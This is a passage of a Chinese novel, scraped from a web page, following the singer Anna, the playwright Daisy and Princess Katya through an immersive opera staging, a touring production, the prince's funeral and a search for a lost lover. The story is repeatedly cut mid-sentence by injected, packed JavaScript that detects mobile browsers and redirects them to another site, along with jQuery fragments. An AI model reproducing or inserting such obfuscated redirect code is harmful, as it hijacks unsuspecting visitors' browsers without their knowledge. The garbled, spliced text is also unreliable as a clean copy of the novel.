“我们可以进一步突破传统的歌剧表演方式,故事不仅仅在舞台上进行,甚至可以扩展到观众席。我们做一部沉浸式歌剧,让观众在氛围感满满的环境中沉浸体验《索菲亚》的歌剧世界。譬如,剧本里有一些悬疑情节,那么演员可以走到台下搜寻‘证物’。演员在表演过程中可以临场发挥,与观众互动等等。总之,我们要创造一个歌剧观演的新形式。” “我个人很支持年轻的、前沿的小剧场作品。黛西,钱和场地我都可以提供,只要能做出来好的作品。只是,小剧场作品不仅考验创作者的想象力,对表演者来说也是个很大的挑战。沉浸式剧场意味着演员要近距离接触观众。这样一来,演员的一个喘息、一个微表情都会被观众轻易捕捉。安涅塔,你愿意接受这种形式吗?还有其他演员,他们能接受吗?” “谢廖沙,我和黛西早就讨论过这个问题了。我已经迈出第一步了,所以我肯定会接着迈出第二步、第三步。” “我还会跟伊里奇·伊万诺维奇及其他主演进一步探讨这件事。”黛西犀利地看着谢尔盖,“谢尔盖·谢尔盖耶维奇,给我三个月。如果这部剧超过三个月不盈利,我们会自己退出,另寻出路。” “黛西,我说过了,我不在意盈利有多少。我愿意全力支持有潜力的原创作品,和新生的创作者们一起成长。我希望我的剧院成能够为一片土壤,滋养出更多好的作品。” “谢尔盖·谢尔盖耶维奇,我明白你的好意。可市场是残酷的,小剧场座位少,票钱收入有限,但剧场运营成本并不低,演员、乐手的薪酬,这些都是支出。我希望我的作品可以做到既叫好又卖座。” “安涅塔,你瞧,我其实不太适合做商人。倒是黛西,很有经营头脑,我应该雇她做剧院经理。” “我永远不会做商人。我只想创作。”黛西决绝地说道,“还有,谢尔盖·谢尔盖耶维奇,私下里我管不着,但是工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129318|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中请以工作的态度对待安娜。她是作为一名女歌手出现在你的剧院,而不是你的朋友。她有能力唱好歌剧,也有能力吸引观众。以前她做到过,现在也能做到。” “当然。”谢尔盖点了点头,然后转头认真地看着我,“安涅塔,我一直相信你。” “谢廖沙,我替那些尚不知名的创作者谢谢你。不过,正如黛西所说,我们是朋友,也是合作关系。请你务必公私分明,不要感情用事。” “放心吧,二位,我不会让我们的剧院倒闭的。” “是你的剧院,不是我们的。”黛西补充道。 谢尔盖无奈地摊了摊手。 “对了,安涅塔,我听说了阿列克桑德拉·米哈伊洛夫娜的事情。我为她的不幸感到难过。愿上帝保佑她。”谢尔盖在胸前画了个十字,“她现在怎么样了?” “还是没有醒来。” “我倒是想起来一件事。我在医院养病的时候,病房的窗台上有一盆水仙花,应该是很久没人浇水,它已经有些枯萎了。我注意到它之后赶紧给浇它了水,但已经有些晚了,作用不大。后来,我一个人呆在病房里无聊,没事就同水仙花聊天。我告诉它生活中的小事、我每天的心情、我的烦恼等等。你猜怎么着,半个月后,那盆干枯的水仙又奇迹般地复活了! 依我看,病人如同受伤的花朵,不仅需要治疗,还需要用心养护。我在想,阿列克桑德拉·米哈伊洛夫娜有没有什么特别想见的人呢?能不能让他们过来同她说说话呢?” 我想到了那封信的主人,迟疑地说道:“应该有,只是……” “只是什么?”黛西迫切地问。 “只是那个人我既不认识,也没有他的地址,更不知道他结没结婚,生活得怎么样。” “管他现在怎么样,只要能找到他,捆着也要把他捆过来!”黛西义愤填膺地说道。 “没错。”谢尔盖附和道,“安涅塔,你一点线索都没有吗?” “我只知道他是X公爵家以前的马场管理员的儿子。但是,公爵一家离开彼得堡已经十几年了,马场也已闲置荒废。我们去哪找曾经的马场管理员呢?” “只要有线索就有希望找到。安涅塔,我先派人找找看。”谢尔盖说道。 “谢廖沙,我不知道该怎么感谢你。我本来以为你永远都不想再见到我了,可你不但不计前嫌,还帮了我这么多。”面对谢尔盖的热情我有些惭愧。 “安涅塔,说实话,我本来也不知道该如何再面对你。但一听见你的消息,我还是忍不住地想要关心你。或许,你已经成为了我生命的一部分,我无法对你的事情置之不理,我做不到。更重要的是,能为你做一些事我是开心的——真真切切地、发自肺腑的开心。只要你愿意,我会一直是你忠实的朋友。” “谢廖沙,你也一样。”我看着谢尔盖年轻的、但已经有些沧桑的脸庞,心里有些难过。 “我也会给卡佳写信,问她有没有其他线索。”我说。 “就是上次给你写信的公爵小姐卡佳吗?”黛西又像猫一样眯起眼睛。 “是。” 她没再说话,若有所思地抽了口烟。 17. 第24章 《索菲亚》在谢尔盖小剧院的第二场演出效果令所有主创人员都很惊喜。虽然第二场演出的观众没有复演那天多,但台下的反响却热烈了许多。 观众对于开放式剧场、沉浸式演出形式充满了好奇。一开始,他们对于和演员的互动还有些害羞,后来便完全放开了,几个活泼的观众甚至走上了舞台。黛西所有的预估完全正确。 观众的热情有效传染给了所有艺术家们。演出结束后,乐手、演员们七嘴八舌地讨论了起来今晚的“盛况”。混乱之中,我看见化妆室门口站着一个熟悉的身影,那人在闪烁的光影中朝我微笑着。是列别捷夫!我有些惊讶地朝他走去。 “米哈伊尔·谢尔盖耶维奇,您怎么来了?” “恭喜您,安娜小姐。演出棒极了!” 我这位昔日的同事穿着一身笔挺的西服,领结打得很精致,一头白发往后梳得一丝不苟。我看着他真挚、温暖的眼神一时间很感概,心中有许多话想说,但不知如何说出口,只是低声回了句“谢谢。” “当初您那么突然地离开歌剧院,我还有些担心。现在看来,我的担心完全多余了。和昔日彼得堡歌剧院那位光鲜亮丽的女高音安娜相比,今晚站在台上的您更加充满生命力、更有魅力了!” “我当时离开……对不起,我该去和您告别的。一直以来,您像老师一样照顾我。” “嗨,什么告不告别的。人生何处不相逢。以后您有新的作品别忘了给我送张票。” “一定。” “明天报纸上会出现新的评论的。《索菲亚》即将要逆风翻盘啦!”列别捷夫欣慰地拍了拍我的肩膀。 果然,如列别捷夫所说,第二天有两个小戏报上出现了对昨晚演出情况的报道。虽然一些主流报刊尚未出动,但昨晚的演出无疑成为了一个转折点。 接下来,《索菲亚》开始了第三场、第四场……第十场演出。情况越来越好,观众越来越多。谢尔盖小剧院甚至出现了前所未有的营收高峰。 半年后,《索菲亚》剧组开启了巡演之旅。我们从圣彼得堡出发,一路南下,路过若干个城市:克列斯齐、瓦尔代、上沃洛乔克、托尔若克、索尔涅齐诺戈尔斯克、克林,路过不知名的村落,以及大大小小的湖泊…… 在路上,大片的白桦林不时地在眼前闪过。我恍若回到了多年前第一次随彼得堡歌剧院巡演的时候。景色依旧,但心境却完全不同了。 我们的马车拉着乐器和简单的舞台设备,走走停停。我们在粮仓改造的城镇剧院里演出,也把舞台搭在漫山遍野的油菜花地里,举办露天演出。简陋的舞台丝毫不影响人们看剧的热情。鲜少接触过高雅艺术的乡村妇女、小孩散落地坐在地上,看得津津有味。 有一次在户外演出,演着演着突然下雨了。舞台上的塑料布没有遮严,淅淅沥沥地漏雨,演员们的衣服被打湿了,但没人因此停止表演,台下的观众也无人离去。表演结束后,我们被热情的观众拉下舞台,所有人围在一起跳舞。雨越下越大,鸟儿飞回了窝里。世界都在躲雨,而我们在狂欢。 一有空闲时间,我便拿出笔和纸,把路上的所见所闻都记录下来,然后寄给卡佳。 巡演一路南下快到达终点——莫斯科之前,我们来到了小镇苏兹达里。在苏兹达里的第二场演出结束后,我突然收到了卡佳发来的急信。信上简短地说公爵的身体状况很不好。卡佳每次语言很节制时,就意味着事情已经比较紧迫了。剧组原计划在苏兹达里多停留几日。为了不扰乱大家的行程,我向黛西提出要独自先行前往莫斯科。黛西听到公爵的名字后愣了一下。 “这么急迫吗?”她问。 “嗯。” “那我和剧组商量一下,我们提前两天去莫斯科。” “不,黛西。一路颠簸,我不想让其他人跟我一起赶路。” “那我陪你去。” “不用……” “好了,就这么决定了。”黛西打断我的话。 我们迅速收拾了行李便出发了。马车行驶了一整天,在距离莫斯科还有八十俄里的一个不大的驿站停了下来。放眼望去,整条路上一片寂静,没有一个人。简陋的驿站里发出微弱的烛光。黛西建议在驿站休息一晚,明早再继续赶路。 我敲了敲驿站的门,过了一会儿,一个穿着亚麻睡裙的姑娘走过来打开了反锁的门。借着微弱的烛光,我发现姑娘年龄不大,梳着两条粗麻花辫,额头上似乎有片淤青。 “您好!请问还有空房吗?”黛西问。 姑娘看了眼我们犹豫了一下,低声道:“没了。” “我们赶了一天的路,麻烦您通融一下?” “没了。你们快走吧。” 姑娘看上去有些不耐烦。这时,里间传来一个男人的声音,“索尼娅,怎么了?” “没什么。”姑娘喊道。 她说着说着就着急把门关上了。屋内,一个脚步声逐渐朝门口靠近。突然,门又打开了,还是那个姑娘开的,她的身边站着一个五十多岁上下的男人,胡子凌乱,门牙缺了半块。姑娘不自然地看了我们一眼,对男人道:“有人要住宿。” “快请进。”男人打量着我们一眼,热情地说道。 “不用了。“黛西突然改了口。 “索尼娅,愣着干嘛?快带客人进来。”男人把那姑娘往前推了一步。 “进来吧。外面那么黑,不好赶路了。”姑娘道。 黛西用目光询问我要不要进去,我看了眼那姑娘朴实的面庞,点了点头。 姑娘把我们带到二层一个不大的房间,为我们送来晚餐、茶水,还有两瓶劣质葡萄酒。 我看了眼葡萄酒,提醒道:“我们没点葡萄酒。” “送你们的。”姑娘头也不转地说道。 临出去前,她又露出了第一次给我们开门时那种犹豫的表情,小声道:“睡之前别忘了把门闩从里面拴好。” 说完,她就出去了。我和黛西简单吃了点东西,擦了脸,便躺到床上休息了。 驿站的床很像我小时候家里那种木板床,没有柔软的床垫,睡起来硬硬的。床单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼前站着的是一开始为我们开门的那个姑娘,她手里拿着一把沾满鲜血的刀。那个男人蜷缩在地板上,双腿鲜血直流,嘴里在叫骂着什么。黛西扯过一条毛巾,塞进他嘴里。 “是你?”我惊魂未定地看着那个姑娘。 “一开始就让你们走,你们不听。”姑娘一把将刀插在床板上。 “你和他是什么关系?”黛西问。 “别问了。你们快走吧。” “那你怎么办?” “说了快点走。” 黛西拉着我迅速下楼,她飞快地套好马,我们正准备离开时,那个姑娘从门里跑了出来。 “嗨!方便带我一程吗?”她问。 “上车!”黛西爽快地招手道。 姑娘敏捷地跳上马车和我坐在一起。一路上,她把头倚靠在座椅后背上,静静地没有说话。 她在离莫斯科还有三十俄里的一个村庄下车了。她说她的朋友在那等她,她们要一起去南部的一个小城。我们没有问她和那个驿站的男人是什么关系,有怎样的纠葛,她为何要帮助我们,她又为何要逃离那里。毕竟,每一个索菲亚都有属于自己的故事。 18. 第25章 马车行驶了整整两天。第三天天刚蒙蒙亮时,我们到达了莫斯科。 来到公爵府,门口已经聚集了一些人,我的潜意识里出现了一些不妙的想法。刚走进前厅,我就听见里间传来叽叽嚷嚷的说话声、喊叫声,还有嘤嘤啜泣。我的心收紧了一下,深吸了一口气走进了挤满人的卧室。 房间正中央的床上躺着公爵,他双手端正地摆放在身体两侧,面色安详。 据说,他一个小时之前刚刚离开人世。公爵的四周像是笼罩着一个光圈,把周围的嘈杂声、日常的纷扰都隔绝了起来。没有可怕、凄凉的感受,眼前只有死亡的美丽、静穆。窗外的鸟儿发出“吱呀呀”的叫声,像在唱着清晨的第一支挽歌。 床边站着公爵夫人和卡佳。公爵夫人在哭泣,一个少年在身旁搀扶着她。那是卡佳的亲弟弟,公爵的小儿子阿廖沙。少年流露出茫然的神情,惊诧暂时代替痛苦占据了他的心。 卡佳穿着一身黑衣,面色苍白,脸上没有一滴泪,也没有任何表情。她静静地望着自己的父亲。阳光透过窗户照在她的脸上,她那伟大的面庞透着一股神性。外围站着的是与公爵家来往较密切的亲友,还有仆人、刚刚赶来的神父。 公爵夫人因伤心过度体力不支被女仆搀扶着出去了。卡佳一转身,与我的目光撞上。她的眼睛闪烁了一下,本能地向我伸出双手。我上前抱住她,她浑身冰冷,连发丝都是凉的。 “涅朵奇卡,我永远地失去他了。” 卡佳低声在我耳边呢喃,她语气平静,但一股巨大的悲痛却朝我袭来。我猛然意识到,这个世界失去了一位真正美好、善良的人,一位高贵而谦和,未经世俗侵染的君子。心像是被撕裂开了。 牧师走到床边开始为公爵做临终祷告。祷告结束后,卡佳同自己的几位叔叔商讨安排葬礼的细节。她表现得冷静、稳重,几乎完全遮掩了内心巨大的悲伤。她完全地长大了。 公爵留下了经营状况良好的田庄以及了一笔可观的遗产。根据老人的遗嘱,全部财产的三分之一留给他曾经资助过、或是正在接受资助的孩子们,我在那个长长的名单上还看到了自己的名字。剩下的财产归自己的家人们所有,其中,阿列克桑德拉·米哈伊洛耶夫娜也在家人的行列。 公爵的下葬仪式、安魂祈祷、丧宴等事宜都由卡佳一人掌管和操办。虽然她身边不乏有帮忙的人,但拿主意的事都是她决定的。除此之外,她还得安抚自己悲伤过度的母亲和尚未成年的弟弟。她没有慌乱,头脑清晰,一切都处理得很得体。可我总担心她过于冷静的外表下那根紧绷的心弦下一秒就会断掉。 丧宴当天来了许多人,有和公爵生前有着各种关系的人,也有公爵并不认识,但因公爵的贵重人品慕名前来的人。我本以为黛西不会想去凑热闹,但她居然主动提出要和我一起参加丧宴。我们同公爵的几位远房亲戚围坐在一桌。 公爵夫人是最后时刻才出场的。她穿着讲究:一身簇新的绸料做的黑裙,头上插着黑丝绒和黑丝带制成的黑色面纱花环。但即便如此,由于身形佝偻,且神色疲惫尽显老态,她像个被华服包裹着的假人。 公爵夫人从我们身后路过时突然停了下来。我转过头,她正目不转睛地盯着黛西的背影。 “塔玛拉?”公爵夫人像是回忆起什么似的。 黛西转过头,淡淡地看了眼公爵夫人,“您认错人了。” 公爵夫人从宽大的袖口中伸出一条皮包骨头的细胳膊,一把拽住黛西,“不可能。你脖子上的痣我一辈子都不会忘记,和那个女人一样!” 黛西不耐烦地挣脱掉公爵夫人的手,“我不知道您在说什么。” “别装了!你为什么会出现在我丈夫的丧宴上?谁让你来的?” “夫人,”我从座位上站起来,“黛西是陪我一起来的。” “黛西?”公爵夫人冷笑了一声,“她才不是什么黛西,她叫塔玛拉,一个保加利亚歌女的私生女!” 黛西低头笑了笑,整理了下被公爵夫人扯皱的衣服,站了起来,“没错,我是塔玛拉,您第一任丈夫的情人——那个保加利亚歌女的女儿。叶甫盖尼娅·格里高利耶夫娜,好久不见。” 我难以想象在座的大部分人都生活在怎样的无聊之中,以至于黛西的话一出,所有人都两眼放光,摩拳擦掌,对于即将上演的故事充满了期待。对公爵家情况不熟悉的人好奇地互相打探着什么,而对公爵夫人的以往事迹略有耳闻的人则意味深长地闭口不谈。似乎无人记得了,正在参加的是一位品德高尚的老人的丧宴。 “请你出去!”公爵夫人压着嗓子说道。 “我今天来完全是因为公爵大人。他是一位品德高尚的好人,我为他的离去感到惋惜与悲哀。此外,他很疼爱我的姐姐阿列克桑德拉·米哈伊洛耶夫娜,我很感激他。” 黛西口中说出阿列克桑德拉·米哈伊洛耶夫娜的名字时,我整个人顿时震惊在原地。她认识她!不止如此,她还是她同父异母的姐姐!黛西第一次见到我时的神情,她创作时沉思的模样,她和我交往时的一切在脑中纠缠不清。 “你最好不要提起我女儿的名字。”公爵夫人脸色越发沉郁。 “您们上一代的的纠葛我管不了,但阿列克桑德拉·米哈伊洛耶夫娜是我的姐姐,她对我有恩,我不能忘记她。” “要不是因为你的母亲,因为你,阿列克桑德拉不会是现在这个样子!” “正如您曾经在庭审时说的那样,阿列克桑德拉·米哈伊洛耶夫娜的悲剧同您脱不了关系。怎么,这才没过多久,您自己说的话全都不记得了吗?至于我和我的母亲,又何尝不是受害者呢?” “你给我出去!”公爵夫人终于怒不可遏,大声呵斥道。 黛西微微朝公爵夫人鞠了一躬,轻声道,“节哀顺变。”然后,便大步走了出去。我跟在她后面跑了出去。 黛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129320|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 西从公爵府出来后,沿着莫斯科河慢悠悠地晃荡着。我和她并排走着,彼此都没有讲话。 过了好一会儿,她终于开口:“你会怨恨我吧。” “为什么这么说?” “我一开始就知道你是谁,知道你同阿列克桑德拉·米哈伊洛耶夫娜的关系,就连我给你的剧本——《索菲亚》,都有我的私心。我接近你并不是没有目的的。” “你很爱阿列克桑德拉·米哈伊洛耶夫娜吧。” “事实上,我跟她就见过两次面。我们的关系并不容许我们经常见面。但在那为数不多的见面中她给我留下了永远不可磨灭的印象。她是在童年时代唯一给予过我爱的人。” “我对她的爱并不亚于你。既然你爱她,我也爱她,那我们的心就是一致的。至于其他的,黛西,我很珍惜你这个合作伙伴,无论你以什么方式出现在我的生命中,我都不会介意。” 她对于我的回答似乎有些意外,但她仍表现出一副无所谓的样子。 “不过,你接近我只是因为你姐姐吗?我还以为,你真的认可我,想和我合作。”我悄声道。 “很多年前,你还刚在歌剧界展露头脚的时候,我就在一个小戏报上看见过你的照片。我现在仍记得第一次看见那张照片的感受。” “什么感受?” 她突然停下了脚步,“美。一种难以言说的美。忧郁,却又充满生命力。很像我曾经一位非常要好的朋友。” 不知为何,我突然想到了第一次去黛西家里时在钢琴上看到的那张陌生女人的照片。仔细想想,那个人的眉眼其实和我有些相似,但我不想问黛西她是谁。 “我其实也没有想到,后来会和你产生这么多关联。”她继续说道。 “你的母亲,对不起,我可以提起她吗?她是位歌女?” “她是保加利亚人,早年跟着一个流浪剧团演出,来到了俄国。她不仅会唱歌,还会好几种乐器。据说,她很受民众欢迎呢。后来,她认识了我父亲,就成日和他鬼混在一起,歌也不唱了。再后来,两人在私奔的路上双双丢了性命。”黛西说这一切的时候语气很淡漠,仿佛在说着别人的故事,“你知道吗?你第二次来我家,告诉我想要带着《索菲亚》在民间巡演的时候,那一刻我突然想到了我母亲。对了,她也叫安娜。我当时看着你兴奋的神情,觉得缘分真是很奇妙的东西。” 我笑了笑,“我们这次巡演你开心吗?” “很久没有这么开心了。” 我们沿着莫斯科河走了一大段路,在中途折返,这会儿又快要回到公爵府了。 “不过我越开心心里就越害怕。”黛西看着公爵府的大门说道。 “害怕什么?” “怕有一天你们都会离开,你也会离开。” 我不知道如何安慰她,只好上前抱住她,轻轻拍了拍她的背。一抬头,我看见不远处一双乌黑的眸子正盯着我。 19. 第26章 卡佳站在公爵府门口正准备送别几位前来参加丧宴的贵族夫人。她看见我和黛西后愣了片刻,然后便继续和那些夫人们告别寒暄着。 我看着她,嘴里不自觉地叫出了她的名字。黛西松开我,顺着我的目光向公爵府门口望去。 “去吧,她现在需要你。”黛西回过头,看了我一眼说道。 “你还难过吗?” “我哪有那么脆弱。”黛西不屑地挑了下眉毛,恢复了平常骄傲不羁的神情,“辛苦你陪我走了这么久。” “黛西……” “快去吧。”她未等我说完便打断道,“你的公爵小姐看上去快要碎掉了。” 公爵府门口,几个贵族夫人乘马车离开了。卡佳转身进了门。我跑了过去,跟在她身后。她知道我在她后面,但没有回头。 我们路过乱糟糟的大厅,有几个醉酒的客人正在又哭又笑。卡佳上了二楼,来到了自己的房间。她十指交叉抱着脑袋坐在沙发上,一副非常疲惫的样子。我的目光落在她白皙修长的手指上,她的右手中指缠着一层纱布,纱布上隐约有红色的血迹。 “怎么了?”我轻轻把手落在她的手上。 她松开我的手,没有回答我的问题,而是抬起眼睛看着我,“她就是妈妈说的塔玛拉?” “是,不过她现在叫黛西。” “黛西?我和她有一个共同的姐姐,还有一个共同的朋友,我们还真是有缘。” “卡佳,公爵夫人对黛西有一些偏见。黛西其实很不容易。她从小父母不在身边,一个人在孤独中长大。后来,为了生计奔波于各种复杂的场所,总是独自应对各种问题。久而久之,她的性格变得强硬。她并不是有意要冲撞公爵夫人的。”我努力解释道。 “我明白。可谁又不是在孤独中长大?其实我有时候挺羡慕她的,可以自由自在地行走在天地之间。涅朵奇卡,你很喜欢她吗?”卡佳眼睛盯着茶几一角,故意避开我的目光。 “我们是很好的合作伙伴,当然,现在也算是朋友了。其实,这次来的路上我们遇到了一些困难,要不是黛西的帮助,我现在并不能站在你面前。” “你们朝夕相处,当然会成为朋友。”卡佳的语气有些落寞,“你们会一直合作下去吧?” “我不知道,但目前看来我的事业还离不开她。” 卡佳若有所思地点了点头。过了一会儿,她缓缓开口道:“知道了。” “你接下来有什么打算?”我问。 “涅朵奇卡,我可能要离开了。” “去哪?” “欧洲。有可能是瑞士,也可能是法国,我还没想好。” “去多久?” “不知道。妈妈身体不好,需要一个清静的疗养环境。而且,我也不想在莫斯科继续呆下去了。” “你不喜欢莫斯科,那可以来彼得堡,或者索契,还有一些南部小城,比如……”我急切地说道。 “不,涅朵奇卡,”卡佳打断我,“我已经决定了,我要离开俄国,我在这里快要窒息了。我想呼吸一下不一样的空气。” 她的眼睛里有泪光,我知道她已经压抑很久了。我了解她的痛苦以及她想要离开莫斯科这个伤心地的心情,但我不愿意接受她要离开我的事实。她的离开令我感到害怕、无措。 “你要跟我一起去吗?”她问。 “我还不能离开这里。” 她低下了头,“我知道这样很不负责,把阿列克桑德拉·米哈伊洛耶夫娜留给你一个人。” “是!你这样不光对阿列克桑德拉·米哈伊洛耶夫娜不负责,而且对我也不负责!你有没有想过,你离开了我怎么办?”我气愤又委屈地说道。 她没想到我的反应突然如此强烈,抬起一直垂下的眼睛,“涅朵奇卡,这么多年我不在你身边你不是过得很好吗?我相信你有照顾好自己的能力。” “可我不想你离开!”我终于按耐不住情绪,大叫起来,“你在莫斯科我还感觉能够到你,可如果你去了欧洲,我该上哪找你?我何时能再见到你?” “会再见的,放心,我保证我们会再见的。” 我摇了摇头,眼泪从眼角滑落。 卡佳站起来抱住了我,单手轻柔地拍着我的后背,“涅朵奇卡,你已经去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129321|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过很多地方了。现在轮到我啦。我要去巴黎,去罗马,去巴塞罗那,我想尽情地旅行,还想学雕塑,你知道的,我一直很喜欢艺术。还有阿廖沙,他是个出色的少年,我在他身上看到了爸爸年轻时的影子。他念书很用功,中学毕业时还得到了一枚银质奖章。我相信他未来会考上一所好大学。” 说着说着,她这几天几近绝望的眼神中又闪现了一丝光彩。我知道,我的公爵小姐应该属于更广阔的天地。 “对不起,涅朵奇卡,为了我的家人,更为了我自己,我不得不再次与你分离。” 我吻了吻她的脸颊,“卡坚卡,不用说了,你想说的话我都知道。你去吧。” 卡佳松开手臂,帮我拭去眼角的泪,她的笑容中带着苦涩。 晚上,我和卡佳又躺在了一张床上。她情绪有些激动,和我说了很多话,但不一会儿她就睡着了,她这些天已经精疲力尽了。我却一晚上都没有合眼。 这些年,我和卡佳见面的频率不高,时间似乎没有改变什么,却又不可避免的改变了一些东西。我今天第一次准确地察觉到,我年少时向往的、追逐的那个女孩,那个天生开朗活泼的女孩,也在自己的命运里挣扎着。 卡佳天生自由的个性为上流社会的法则与规劝、家族的尊严与地位所束缚着。她挣扎过,但失败了。她只有离开才能破局。我应该更早发现这一点,在第一次重逢的时候,在她给我写信的字里行间,但我高估了自己的爱,低估了人自私的本性。 我一直以为,她是幸运的那个,她天生就拥有我不曾拥有的东西——高贵的地位、巨大的财富、无尽的爱,我以为她所拥有的和她的那点痛苦比起来微不足道,而我才是旮旯里的老鼠,用尽力气才挣脱出那一隅角落,来到宽广的地面,我是更悲惨的那个。但生活对每个人都是残酷的,其实我们都很可怜,都在用力挣脱固有的牢笼,渴求某种生命中不曾拥有的东西。我们不知满足,所以步履不停。 我想永远留卡佳在我的身边,但我做不到,她对我也是如此。但幸运的是,我的童年和青年时代一直被我的公爵小姐治愈着。她第一次教会了我什么是爱。 20. 第27章 巡演结束后,我随剧组回到了彼得堡。经过了长时间“流浪颠簸”的演出,平淡的日常生活显得极为可贵。我每日在家喝喝茶,看看书,或者去谢尔盖小剧院排练,生活重复但很轻松。 黛西这些年的创作成果颇丰,除了《索菲亚》,我们也开始了其他作品的排演,主场当然是在谢尔盖小剧院,偶尔我们也会受邀去其他剧院演几场。 某次,我们收到了彼得堡歌剧院经理的邀请,我以作品已经不适合大剧院的舞台为理由拒绝了。虽然,事实上也如此,但拒绝曾经拒绝过自己的人的感受简直棒极了。 卡佳最终去了法国。她成了巴黎最富有的女人之一。她一个月大概会给我寄来两封信,从她写的信中可以看出,她开始了全新的生活。她那天生洋溢着热情的自信又回来了。她在巴黎上流社会的社交圈极受欢迎,但正如她自己所说,她对那种无聊的社交已经完全失去了兴趣,除了偶尔不得不去应付一下,她把大量时间都花在了艺术领域。她正在系统地学习雕塑。 有次,她还给我寄来了自己的雕塑作品,是一只栩栩如生的小老虎。 我为她的新生活感到开心,同时,我总是忍不住把自己的生活和她做比较。我知道,这不是一个好的习惯,但总是忍不住这么做。我不喜欢在她对生活充满热情的时候,自己却像一条水平线一样毫无波动。我开始期待生活和事业中能出现新的突破。 某天,谢尔盖带来消息说,马场管理员的儿子找到了,但那人坚持说自己不认识阿列克桑德拉·米哈伊洛耶夫娜。我问谢尔盖要了地址,决定自己亲自去一趟。 这位名叫阿列克谢·费奥多尔耶维奇·瓦西里耶夫的中年男人现在是位地道的农民。我是在彼得堡郊外的希普诺村见到他的。我到他家时,他并不在家,他家里只有一个穿着粗布裙的女人带着三个孩子——大孩子已经十几岁了,最小的还在吃奶。 我环视了一圈这间不大的木屋,里面只有简单的木制家具和简陋的炉子,屋外有一些农具和家禽的圈舍。女人惊恐地看着我这个突然侵入的客人,防备地问我找谁。我犹豫了一下,以找错门为理由离开了。 谢尔盖的车夫带我来到了田地里面,在那里我见到了阿列克谢·费奥多尔耶维奇本人。他穿着粗布料制成的上衣和短裤,蓄着短胡子,皮肤被晒得黝黑。他弯着腰拿着农具站在田地里,和其他农民并无多大差别。但即便如此,仍能在眉眼之间窥见他年轻时清秀的模样。 “阿列克谢·费奥多尔耶维奇?”我上前问道。 他直起腰,木然地看着我,“小姐,您找我?” “对,我找您。” “哦,”他依旧是一副木然的样子,“有事吗?” “我是阿列克桑德拉·米哈伊洛耶夫娜的养女。” 他听到这个名字后脸上并没有什么表情,弯下腰继续自己手里的农活。 过了一会儿,见我仍愣在原地,他缓缓说道:“你们不要再来找我了。我是个农民,不认识你们所说的那位贵族夫人。” “‘我们将在哪里见面,我将在哪里找到你,我将如何认出你,那时你会认出我吗?我的整个灵魂都装满了你。’您还记得这些话吗?”我问。 他手里的农具在空中停顿了片刻,但依旧没有抬头。 我继续说道:“您写给她的那封信,她一直留着没舍得丢掉,以至于后来被她的丈夫当做了把柄。我一直不了解她为何要留着这封信,或许,真正的原因只有您知道吧。” “上次来的那位大人告知了我她的情况。”漫长的沉默之后,他终于开口说道,”你们这些厉害人物都没有办法,我能有什么办法呢?何况,我有妻子,有孩子。您说的那些都是因为年轻的时候不懂事,做了不该做的事情。” “我就是因为没有办法了才迫不得已来找您,请您理解。医生说她有可能会醒来,也有可能醒不过来,这要看运气和她自己的意志。我不知道她自己有没有想要醒来的意志。这世界亏欠她的太多了,或许,她真的不想再醒来了。” 他又沉默了。 “我也不认为您同她年轻时的情感是个错误,虽然我没有资格评判他人的感情,但只要彼此心里真正有过对方,哪怕只有一瞬间,都是生命赐予的礼物。就我自己来说,我也有深爱着,但不知道能不能永远陪伴在身边的人。可那样就要停止去爱了吗?我们一生会遇见多少人啊。真正能走近我们内心的人却少之又少,所以要格外珍惜无论是曾经爱过,还是此刻我们正在深爱的人。” “您 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129322|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的人也有遗憾吗?”他若有所思地问。 